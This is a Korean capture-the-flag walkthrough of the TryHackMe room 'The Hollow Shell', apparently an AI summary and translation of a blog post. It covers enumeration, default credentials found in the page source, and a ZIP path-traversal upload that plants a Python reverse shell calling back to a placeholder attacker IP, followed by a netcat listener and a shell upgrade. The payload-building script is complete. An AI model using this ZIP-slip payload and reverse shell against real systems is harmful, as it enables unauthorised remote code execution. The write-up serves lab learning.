
TryHackMe 룸: "The Hollow Shell" 워크스루 (Walkthrough)
요약
TryHackMe의 'The Hollow Shell' 룸에 대한 워크스루로, 웹 애플리케이션의 취약점을 분석합니다. ZIP 파일 처리 결함과 경로 탐색(Path Traversal)을 통해 원격 코드 실행(RCE)에 이르는 과정을 다룹니다.
핵심 포인트
- Nmap을 이용한 포트 스캐닝 및 서비스 식별
- Gobuster를 활용한 디렉토리 열거 및 숨겨진 경로 탐색
- 안전하지 않은 ZIP 파일 처리 및 경로 탐색 취약점 분석
- 웹 취약점을 통한 시스템 접근 및 RCE 공격 과정
서론
TryHackMe의 The Hollow Shell 룸은 웹 애플리케이션 취약점, 특히 안전하지 않은 ZIP 파일 처리 및 경로 탐색 (Path Traversal) 결함에 초점을 맞추고 있으며, 이는 궁극적으로 원격 코드 실행 (RCE) 및 시스템 접근으로 이어집니다.
1. 정찰 및 포트 스캐닝 (Reconnaissance & Port Scanning)
우리는 열린 포트와 서비스를 식별하기 위해 Nmap을 사용하여 대상 IP를 스캐닝하는 것으로 시작했습니다:
명령어: nmap -sV -sC
결과: 스캔 결과 22번 포트에서 SSH가 확인되었고, 5000번 포트에서 Gunicorn을 통해 호스팅되는 "Byte Lotus — Room Service"라는 제목의 HTTP 웹 서비스가 실행 중임을 확인했습니다.
2. 디렉토리 열거 (Directory Enumeration)
애플리케이션의 숨겨진 디렉토리와 웹 경로를 발견하기 위해 Gobuster를 사용했습니다:
명령어: gobuster dir -u http://:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
결과: 열거를 통해 주요 기능 경로를 찾아냈습니다:
/login (주요 직원 로그인 페이지)
/upload (파일 업로드 기능)
/dashboard (서비스 대시보드 패널)
- 대시보드 로그인
로그인 페이지의 HTML 소스 코드를 검토한 결과, IT 부서에서 직원들에게 제공한 기본 시작 자격 증명을 발견했습니다:
사용자 이름: concierge
비밀번호: StayNoticed2024!
이 자격 증명을 사용하여 대시보드(/dashboard)에 성공적으로 로그인하고 셸 업로드 기능에 접근했습니다.
- 취약점 공격 및 RCE (ZIP 업로드를 통한 경로 탐색):
업로드 기능은 디스플레이 자산이 포함된 ZIP 아카이브를 허용합니다. 이를 악용하기 위해, nano 텍스트 편집기를 사용하여 app.py라는 이름의 Python 스크립트를 만들었습니다:
명령어: nano app.py
업로드 기능은 디스플레이 자산이 포함된 ZIP 아카이브를 허용합니다. Python 스크립트를 사용하여, 경로 탐색(path traversal) 취약점을 이용해 외부 hooks 디렉터리(../../hooks/callback.py)에 Python 페이로드를 작성하는 악성 ZIP 파일을 제작했습니다. 이 코드는 리버스 셸을 실행합니다:
import zipfile
payload_content = b"""import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('YOUR_IP', 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn('/bin/sh')
"""
with zipfile.ZipFile('reverse.zip', 'w') as zf:
info = zipfile.ZipInfo('../../hooks/callback.py')
zf.writestr(info, payload_content)
zf.writestr('shell.json', '{"name": "rev-shell", "version": "1.0", "assets": []}')
print("[⭐] ZIP generated with safe 2-level traversal!")
nano에서 파일을 저장한 후, 페이로드를 생성하기 위해 스크립트를 실행했습니다:
명령어: python3 app.py
출력: [+⭐] ZIP generated with safe 2-level traversal!
이후 ls 명령어를 사용하여 reverse.zip 파일의 생성을 확인했습니다.
다음으로, 연결을 가로채기할 준비를 했습니다:
리스너 설정: 공격 머신에서 Netcat 리스너를 사용하여 시작했습니다.
nc -lvnp 4444
실행: 웹 대시보드를 통해 (reverse.zip)을 업로드하자, 테마 워커가 후크(hooks)를 처리하며 성공적으로 리버스 쉘(reverse shell)이 트리거되었습니다.
- 쉘 업그레이드 (Shell Upgrade) 및 플래그 (Flag) 찾기: Netcat 리스너 (listener)로 초기 쉘 (shell) 연결을 받은 후, Python을 사용하여 이를 완전한 대화형 쉘 (interactive shell)로 업그레이드했습니다:
명령어: python3 -c 'import pty; pty.spawn("/bin/bash")'
마지막으로, 플래그 (flag)를 가져오기 위해 시스템을 탐색했습니다:
cd /home을 사용하여 홈 디렉토리 (home directory)로 이동한 후 roomservice 사용자를 확인했습니다.
해당 디렉토리로 이동하여 (cd roomservice), ls로 내용을 나열하고 flag.txt를 찾아냈습니다.
cat flag.txt를 사용하여 플래그를 읽음으로써 룸 (room)을 성공적으로 완료했습니다.
THM{.........................}
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기














